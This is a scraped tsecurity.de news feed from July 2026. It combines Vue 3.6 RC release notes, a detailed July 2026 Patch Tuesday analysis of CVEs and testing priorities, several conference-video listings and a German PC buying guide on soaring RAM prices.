https://tsecurity.de/de/3678230/it-security-video/two-hobbyists-a-hedgehog-rescue-and-an-exciting-hedgehog-tracking-project-project-hedge-emf2026/ Sat, 18 Jul 2026 18:34:31 +0200 🎥 IT Security Video tsecurity.de <![CDATA[💚 Our Family's Electrotech Journey 🌞🏡🔌⛽️🚘️ (emf2026)]]> https://tsecurity.de/de/3678185/it-security-video/our-familys-electrotech-journey-emf2026/ https://tsecurity.de/de/3678185/it-security-video/our-familys-electrotech-journey-emf2026/ Sat, 18 Jul 2026 17:18:20 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Voting Works Like Authentication]]> https://tsecurity.de/de/3678157/it-security-video/voting-works-like-authentication/ https://tsecurity.de/de/3678157/it-security-video/voting-works-like-authentication/ Sat, 18 Jul 2026 16:47:51 +0200 🎥 IT Security Video tsecurity.de Author: Security Weekly - A CRA Resource - Bewertung: 0x - Views:5

    The voting process described uses identity verification, authorization checks, machine scanning, voter confirmation, and stored paper records.

    Security is not only about preventing digital attacks. Physical processes also rely on layered controls to verify who can participate and preserve records for later review.

    What lessons from cybersecurity can be applied to improve trust in physical systems?

    Subscribe to our podcasts: https://securityweekly.com/subscribe

    #ElectionSecurity #Authentication #SecurityWeekly #Cybersecurity #InformationSecurity #AI #InfoSec

    ]]>         <![CDATA[The guidebook to successful alien contact - lessons from fostering rescue dogs (emf2026)]]> https://tsecurity.de/de/3677986/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/ https://tsecurity.de/de/3677986/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/ Sat, 18 Jul 2026 14:33:10 +0200 🎥 IT Security Video tsecurity.de <![CDATA[The guidebook to successful alien contact - lessons from fostering rescue dogs (emf2026)]]> https://tsecurity.de/de/3677977/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/ https://tsecurity.de/de/3677977/it-security-video/the-guidebook-to-successful-alien-contact-lessons-from-fostering-rescue-dogs-emf2026/ Sat, 18 Jul 2026 14:17:56 +0200 🎥 IT Security Video tsecurity.de <![CDATA[v3.6.0-rc.1]]> https://tsecurity.de/de/3677302/downloads/v360-rc1/ https://tsecurity.de/de/3677302/downloads/v360-rc1/ Sat, 18 Jul 2026 03:16:24 +0200 💾 Downloads tsecurity.de Vue 3.6 is now entering the RC phase as we have completed the intended feature set for Vapor Mode.

    3.6 also includes a major refactor of @vue/reactivity based on alien-signals, which significantly improves the reactivity system's performance and memory usage.

    For more details about Vapor Mode, see the About Vapor Mode section later in this release note.

    Bug Fixes

    • hydration: avoid resolving inherited fallback in forwarded slots (4c215b5)
    • hydration: remove adopted SSR DOM for unresolved async setup (3859af4)
    • runtime-vapor: avoid patching invalid VNode slot content (25f5a8a)
    • runtime-vapor: clean up detached slot branches (b41009d)
    • runtime-vapor: defer slot content anchors during hydration (9b9e4bd)
    • runtime-vapor: preserve outer pending slot anchors (4af4bf9)
    • runtime-vapor: preserve slot content anchors during mismatch recovery (26f90b5)
    • runtime-vapor: preserve v-show transition on vdom child (#15074) (fe882c9), closes #15073
    • runtime-vapor: preserve vapor slot owner during interop slot dry run (#15031) (340630e)
    • runtime-vapor: preserve VNode anchors in dynamic component hydration (898e2ca)
    • runtime-vapor: remove unsafe slot dry runs from vdom interop (#15089) (3d42cdf), closes #14793
    • runtime-vapor: reuse hydration anchor candidates (06778e7)
    • vapor: handle v-if and v-show on transition roots (#15069) (8f62f2e), closes #15068

    About Vapor Mode

    Vapor Mode is a new compilation mode for Vue Single-File Components (SFCs) with the goal of reducing baseline bundle size and improving performance.

    It is 100% opt-in and supports a subset of existing Vue APIs with mostly identical behavior. Features that depend on VNodes or the component public instance proxy are not available in Vapor components.

    Vapor Mode has demonstrated the same level of performance as Solid and Svelte 5 in third-party benchmarks.

    General Stability Notes

    Vapor Mode is feature-complete in Vue 3.6 RC. For now, we recommend using it in the following cases:

    • Partial usage in existing apps, such as implementing a performance-sensitive page in Vapor Mode.
    • Building small new apps entirely in Vapor Mode.

    Opting In to Vapor Mode

    Vapor Mode supports template-only SFCs and SFCs using <script setup>; the Options API is not supported. The following forms are supported:

    <script setup vapor>
// ...
</script>

    <script vapor> is shorthand for <script setup vapor>:

    <script vapor>
// ...
</script>

    The vapor marker can also be placed on the template, enabling Vapor compilation for the entire SFC:

    <template vapor>
  <!-- ... -->
</template>

    Creating an App and Using VDOM Interop

    Pure Vapor Applications

    Applications composed entirely of Vapor components can use createVaporApp():

    import { createVaporApp } from 'vue'
import App from './App.vue'

createVaporApp(App).mount('#app')

    Apps created this way avoid pulling in the Virtual DOM runtime code and allow the baseline bundle size to be drastically reduced.

    Enabling VDOM Interop

    To use Vapor components in a VDOM app instance created via createApp(), the vaporInteropPlugin must be installed:

    import { createApp, vaporInteropPlugin } from 'vue'
import App from './App.vue'

createApp(App).use(vaporInteropPlugin).mount('#app')

    A Vapor app instance can also install vaporInteropPlugin to allow VDOM components to be used inside, but this pulls in the VDOM runtime and offsets the benefits of a smaller bundle.

    Components authored with render functions or JSX remain VDOM components and also require interop when used in a Vapor application.

    When the interop plugin is installed, Vapor and non-Vapor components can be nested inside each other. This currently covers standard props, events, and slots usage, but does not yet account for all possible edge cases. For example, there may still be rough edges when using a VDOM-based component library in Vapor Mode.

    In general, we recommend having distinct regions in an app where one rendering mode or the other is used, and avoiding mixed nesting as much as possible.

    Feature Compatibility

    By design, Vapor Mode supports a subset of existing Vue features. For the supported subset, we aim to deliver the same behavior according to the API specifications. The following features are currently unsupported or do not apply to Vapor Mode:

    • Options API
    • app.config.globalProperties
    • getCurrentInstance() returns null in Vapor components
    • @vue:xxx per-element lifecycle events
    • v-memo
    • Component template refs do not expose properties such as $el, $props, $attrs, $slots, and $refs

    Important Usage Considerations

    Event Delegation and stopPropagation()

    Vapor delegates eligible events to document. Each element stores its own handler, and a single document listener walks the event path and invokes matching handlers.

    If any ancestor calls stopPropagation(), the event never reaches document, and the delegated handler will not run.

    The following forms bypass delegation and attach the listener directly to the element:

    <button @[event]="onClick" />
<button v-bind="{ onClick }" />
<button v-on="{ click: onClick }" />

    slots.default() Is Not a Safe Dry Run

    In Vapor, slots.default() is not a side-effect-free inspection API. Calling it executes the slot's rendering logic, which may create Blocks and DOM nodes, register reactive effects, and claim existing SSR DOM during hydration.

    Do not call a slot to inspect its output before deciding what else to render:

    <script setup vapor>
import { useSlots } from 'vue'

const slots = useSlots()
const content = slots.default?.()
const showFallback = !content
</script>

<template>
  <div v-if="showFallback">Fallback</div>
</template>

    Instead, leave slot rendering to the template:

    <template>
  <slot />
</template>

    Custom Directives Use a Different Interface

    Custom directives in Vapor also have a different interface:

    type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () => any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) => (() => void) | void

    value is a reactive getter that returns the binding value. Reactive effects can be set up using watchEffect() and are automatically released when the component unmounts. A directive may also return a cleanup function:

    const MyDirective = (el, source) => {
  watchEffect(() => {
    el.textContent = source()
  })
  return () => console.log('cleanup')
}

    Behavior Consistency

    Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.

    For stable releases, please refer to CHANGELOG.md for details.
    For pre-releases, please refer to CHANGELOG.md of the minor branch.

    ]]>         <![CDATA[Steve Wozniak's Foundation Partners With Realbotix To Build AI Teacherbot]]> https://tsecurity.de/de/3677192/it-security-nachrichten/steve-wozniaks-foundation-partners-with-realbotix-to-build-ai-teacherbot/ https://tsecurity.de/de/3677192/it-security-nachrichten/steve-wozniaks-foundation-partners-with-realbotix-to-build-ai-teacherbot/ Sat, 18 Jul 2026 01:08:32 +0200 📰 IT Security Nachrichten tsecurity.de

    Read more of this story at Slashdot.

    ]]>         <![CDATA[The Hassle Hurdle: a philosophy to hack ADHD (emf2026)]]> https://tsecurity.de/de/3676646/it-security-video/the-hassle-hurdle-a-philosophy-to-hack-adhd-emf2026/ https://tsecurity.de/de/3676646/it-security-video/the-hassle-hurdle-a-philosophy-to-hack-adhd-emf2026/ Fri, 17 Jul 2026 19:19:22 +0200 🎥 IT Security Video tsecurity.de <![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]> https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/ Fri, 17 Jul 2026 18:08:18 +0200 📰 IT Nachrichten tsecurity.de

    Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Services (CVE-2026-56155), and an elevation of privilege in SharePoint Server (CVE-2026-56164). A third, a BitLocker security feature bypass (CVE-2026-50661) is publicly disclosed but not yet exploited.

    The July 2026 Patch Tuesday earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy infographic of the expected risk profile of this month’s Patch Tuesday updates.

    Known issues

    The July release note flags known issues against the following updates:

    • BitLocker recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and Secure Boot State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (CVE-2026-50661) keeps the component in focus.
    • WSUS synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability CVE-2025-59287. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.

    Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the Hardware Dev Center). The two-part HWID pilot runs to September 2026.

    Major revisions and mitigations

    Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.

    Windows lifecycle and enforcement updates

    This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. SharePoint and SQL Server take some of their most active security updates ever on platforms receiving their last.

    • SharePoint Server 2016 and 2019, Project Server 2016 and 2019, SQL Server 2016 and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.

    The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under CVE-2023-24932 can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. Kerberos RC4 hardening (CVE-2026-20833) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.

    Microsoft’s July 2026 Patch Tuesday is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the Print Spooler, four win32k entries, and two GDI+ metafile entries. NTFS is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.

    Printing and graphics (high risk)

    The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.

    • Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change
    • Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes
    • Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF
    • Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows

    Storage and file systems (high risk)

    Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, BitLocker, and ReFS demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.

    • Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active
    • Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work
    • Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination
    • On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported

    Devices, input and networking (high risk)

    Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.

    • Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL
    • Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep
    • Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles
    • Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), DHCP Server (five entries), SMB, NFS, Message Queuing (five entries), RRAS administration, client VPN, and WinHTTP/WinINet consumers

    Other windows components

    Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. Hyper-V wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.

    Shell hardening and LSA isolation

    These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.

    • Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the Mark of the Web into a folder and confirm the system refuses to extract its icon and leaks no NTLM credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything
    • LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on Virtualization-based Security if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7
    • Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking

    Office & SharePoint

    July’s Office wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so Click-to-Run estates can sit this one out.

    • On MSI Office 2016, apply the client updates – Excel (KB5002886), Word (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (KB5002273, KB5002887, KB5002748, KB5002857, KB5002830) – then exercise macros, external data, embedded objects, and any line-of-business add-ins
    • On SharePoint Server, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there

    Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.

    Developer tools & databases

    The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.

    • .NET: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally
    • SQL Server: the GDR updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly
    • Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches

    The Readiness team recommends the following priorities for your larger enterprise deployments:

    • Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else
    • Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass
    • Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites
    • Run the scripted KeyGuard validation on any VBS estate, preferably on a dedicated machine.

    Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:

    • Browsers (Microsoft IE and Edge)
    • Microsoft Windows (both desktop and server)
    • Microsoft Office
    • Microsoft Exchange and SQL Server
    • Microsoft Developer Tools (Visual Studio and .NET)
    • Adobe (if you get this far)

    Browsers

    Edge has had a busier month than usual. Microsoft addressed 46 Microsoft Edge (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by CVE-2026-58289, a remote code execution flaw. A run of further RCEs (CVE-2026-57981, CVE-2026-56645, CVE-2026-57974) follows.

    • Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.
    • Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the Chrome releases blog for the upstream notes.

    The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.

    Microsoft Windows

    Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:

    The Windows Kernel is the most-patched component (28 CVEs, seven “More Likely”), followed by NTFS (21), Windows Runtime (17), Windows Media (14), ReFS (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.

    Microsoft Office

    Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). SharePoint is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.

    • SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. CVE-2026-56164, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (CVE-2026-50522, CVE-2026-58644) and a critical security feature bypass (CVE-2026-55040). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.
    • Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them CVE-2026-55033 and CVE-2026-55127 in Word, CVE-2026-55043 in PowerPoint, and CVE-2026-55018 in Office), topped by CVE-2026-55045.

    With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.

    Microsoft Exchange and SQL Server

    Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. Exchange Server returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.

    • Exchange Server (on-premises) – CVE-2026-55008, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (CVE-2026-55005) and two elevation-of-privilege flaws (CVE-2026-55006, CVE-2026-55009) round out the on-premises set. A separate Exchange Online elevation of privilege (CVE-2026-54998, critical) is fixed service-side with no customer action.
    • SQL Server – two critical remote code execution flaws: CVE-2026-54117 (SQL Server 2025) and CVE-2026-54118 (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.

    Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.

    Microsoft developer tools

    Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s Visual Studio Code concentration toward .NET and ASP.NET Core, where a run of denial-of-service entries dominates the volume:

    Add these Microsoft updates to your standard developer update release schedule.

    Adobe (and third-party updates)

    Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.

    This article is published as part of the Foundry Expert Contributor Network.
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    ]]>         <![CDATA[PC-Kaufberatung 2026: RAM kostet jetzt das 4x – hier 3 Setups, mit denen Sie sparen]]> https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/ https://tsecurity.de/de/3675470/it-nachrichten/pc-kaufberatung-2026-ram-kostet-jetzt-das-4x-hier-3-setups-mit-denen-sie-sparen/ Fri, 17 Jul 2026 10:32:34 +0200 📰 IT Nachrichten tsecurity.de

    Lange Zeit galten fallende Hardware-Preise als Naturgesetz: Wer ein paar Monate wartete, bekam mehr Leistung für weniger Geld. Mitte 2026 gelten diese Regeln leider nicht mehr. Der gigantische Hunger der Rechenzentren nach KI-Beschleunigern saugt die Produktionskapazitäten der großen Halbleiterfertiger leer – Besserung ist erst einmal nicht in Sicht. Für Endverbraucher bedeutet das: Wer jetzt einen neuen Desktop-PC braucht, sieht sich mit einem äußerst angespannten Markt konfrontiert.

    PROMOTION

    Ihr Laptop kann nur ein Ding? Dieses 2-in-1-Modell passt sich Ihrem Workflow an

    Das HP OmniBook 5 Flip bietet dank 360°-Scharnier vier Nutzungsmodi – vom klassischen Laptop bis zum Tablet. Der Intel® Core™ 7 Prozessor sorgt für flüssiges Arbeiten im Alltag. Das 14 Zoll 2K-Touchdisplay (1.920 x 1.200) stellt Inhalte gestochen scharf dar, 16 GB RAM und 512 GB SSD bieten Leistung und Platz für Ihre Projekte. Die Fast-Charge-Funktion bringt Sie schnell zurück auf 50 % Akkuladung.

    Erfahren Sie mehr Ăźber das HP OmniBook 5 Flip

    Gleichzeitig ist die technische Verlockung groß: Mit Nvidias Blackwell-Architektur (RTX 50-Serie) und AMDs effizienten Ryzen-9000-Prozessoren stehen technologische Schwergewichte in den Regalen, die einen massiven Leistungssprung versprechen. Lohnt sich also das Warten auf bessere Preise? Die klare Antwort lautet: Nein, zumindest nicht in absehbarer Zeit. Wer jetzt einen neuen PC braucht, muss nicht warten – sollte aber clever konfigurieren, um die aktuellen Stolpersteine der Industrie zu umschiffen.

    RAM Preise Idealo DDR5 7200
    Preisschock beim Arbeitsspeicher: Besonders für schnellen DDR5-RAM haben sich die Preise teils vervierfacht. Der zwingende Kompromiss: Statt zu DDR5-7200 greifen wir aktuell besser zu DDR5-6000 – oder gleich zum älteren DDR4-Speicher.

    Foundry

    Der RAM-Schock – und wie man damit umgeht

    Während CPUs und Grafikkarten zwar teuer, aber immerhin verlässlich lieferbar sind, entwickelt sich der Arbeitsspeicher (RAM) immer mehr zum Schmerzpunkt für jeden PC-Bauer. Der Grund: Die großen Speicherhersteller priorisieren zunehmend den lukrativen HBM-Speicher (High Bandwidth Memory) für KI-Chips und schichten ihre Produktionskapazitäten um. Gleichzeitig saugen die neuen KI-Rechenzentren den verbleibenden Markt für klassischen DDR5-Arbeitsspeicher leer, da moderne Server-Cluster neben HBM auch gigantische Mengen an regulärem RAM benötigen. Für den klassischen Desktop-Markt stehen dadurch deutlich weniger Produktionskapazitäten zur Verfügung. Die Folge ist eine drastische Verknappung bei herkömmlichen Riegeln. DDR5-Kits kosten aktuell teilweise viermal so viel wie noch im Herbst 2025 – ein vernünftiges 32-GB-Kit reißt schnell ein Loch von über 400 Euro in die Kasse. Aus dieser Entwicklung ergeben sich neue Spielregeln für den PC-Kauf, mit denen sich die Preisexplosion spürbar entschärfen lässt.

    • Geschwindigkeit drosseln: Wer Premium-Preise zahlt, den erwartet auch Premium-Leistung. Doch extrem schneller Speicher wie DDR5-7200 rechnet sich aktuell wirtschaftlich kaum. Der Sweetspot fĂźr moderne AMD- und Intel-Systeme liegt 2026 bei DDR5-6000 – idealerweise mit CL30-Latenzen (z.B. Patriot Viper Venom DDR5-6000 2X16GB, CL30). Der Leistungsunterschied im Alltag ist marginal, die Preisersparnis deutlich spĂźrbar.
    • Verzichten Sie auf „Zukunfts-Speck“: Niemand sollte aktuell Arbeitsspeicher auf Vorrat kaufen. Hat man frĂźher gerne großzĂźgig verbaut und direkt zu 64 GB gegriffen, so lautet die Devise heute: 32 GB sind fĂźr die meisten Gamer und Kreativanwender (Videoschnitt) aktuell der vernĂźnftige Sweetspot. Mehr Kapazität verschlingt nur das dringend benĂśtigte Budget fĂźr die Grafikkarte oder den Prozessor. Ausnahme: bedingungslose High-End-Konfigurationen.
    • DDR4 als Rettungsanker: FĂźr reine Office-PCs oder sparsame Builds lohnt sich 2026 paradoxerweise der Blick in die Vergangenheit. Eine alte AM4-Plattform mit DDR4-Speicher (z.B. Corsair Vengeance DDR4-3200 2x16GB, CL16) kostet einen Bruchteil moderner Systeme. Die DDR4-Preise sind zwar branchenbedingt ebenfalls gestiegen, allerdings etwas moderater. FĂźr aktuelle Gaming-Boliden (wie die AM5-Plattform) fĂźhrt jedoch kein Weg am teuren DDR5-Speicher vorbei.

    Drei Beispiel-Konfigurationen: FĂźr jeden Anspruch das richtige Setup

    Die strategischen Fragen sind geklärt, wir machen uns ans Eingemachte. In den folgenden drei Setups listen wir die besten Kernkomponenten fßr ein optimales Preis-Leistungsverhältnis auf. Um Ihnen maximale Flexibilität zu ermÜglichen, nennen wir innerhalb der Konfigurationen unterschiedliche Komponenten: So kÜnnen Sie je nach persÜnlicher Vorliebe gezielt den Preis beeinflussen, mehr Leistung herausholen oder zwischen AMD und Intel wechseln, wenn sich das sinnvoll anbietet.

    📌 Redaktioneller Hinweis zur Preiskalkulation

    Die nachfolgenden Preisrahmen beziehen sich rein auf die Kern-Komponenten des PCs (Zentralrechner). Nicht eingerechnet sind optionale Zusatzlßfter (falls nicht ab Werk verbaut), separate optische Laufwerke sowie externe Peripherie wie Monitor, Tastatur, Maus oder die Lizenz fßr das Betriebssystem (Windows 11). Planen Sie dafßr je nach Bedarf ein zusätzliches Budget ein. Beratung beim Kauf bieten unsere Ratgeber und Vergleichstests:

    Konfiguration 1: Der Office- und Alltags-PC

    Ryzen 5 4600G
    Der Star dieses Setups: Der Ryzen 5 5600G verfĂźgt Ăźber eine integrierte Grafikeinheit und macht eine dedizierte Grafikkarte im Office-PC ĂźberflĂźssig. Das senkt den Gesamtpreis deutlich, erlaubt aber nur leichtes Gaming auf Einsteiger-Niveau.

    AMD

    Konfiguration 1: Zuverlässigkeit, leiser Betrieb und strikte Budgetkontrolle

    Fßrs Home-Office, Webbrowsing und die gelegentliche Medienwiedergabe braucht es keine teure High-End-Hardware. Hier greift der erwähnte DDR4-Rettungsanker: Durch den bewussten Verzicht auf die neueste Plattform lassen sich Hunderte Euro sparen. Ein zusätzlicher Vorteil dieser Konfiguration ist ihre Zuverlässigkeit: Die Plattform ist ausgereift, gßnstig und bietet mehr als genug Leistung fßr typische Office- und Alltagsanwendungen.

    • Preisrahmen: ca. 600 – 700 Euro (Kern-PC, zzgl. Peripherie & OS)
    • Prozessor (CPU):
      • Standard: AMD Ryzen 5 5600G – Sechs Kerne und eine starke integrierte Grafikeinheit (iGPU). Keine extra Grafikkarte nĂśtig.
      • Alternative: Intel Core i3-14100 – Reicht fĂźr reine Office-Arbeiten ebenfalls vĂśllig aus. Wichtig: Achten Sie darauf, nicht aus Versehen die 14100F-Variante zu kaufen, weil dieser Version die Grafikeinheit fehlt.
    • Mainboard: Gigabyte B550M DS3H (fĂźr AMD) oder Asus Prime B760M-K D4 (fĂźr Intel). Beide Boards setzen auf den gĂźnstigeren DDR4-Standard. Trotz des niedrigen Preises bieten sie alle wichtigen AnschlĂźsse fĂźr den Alltag, darunter schnelle USB-Ports, M.2-Steckplätze fĂźr NVMe-SSDs und genĂźgend ErweiterungsmĂśglichkeiten fĂźr spätere Upgrades.
    • Arbeitsspeicher (RAM): 16 GB DDR4-3200 (z.B. Patriot Memory Viper Elite II DDR4 2x8GB, CL18). Dieser Arbeitsspeicher ist fĂźr flĂźssiges Arbeiten und Multitasking vĂśllig ausreichend. Selbst bei zahlreichen geĂśffneten Browser-Tabs, Videokonferenzen und Office-Anwendungen gleichzeitig geraten 16 GB nur selten an ihre Grenzen.
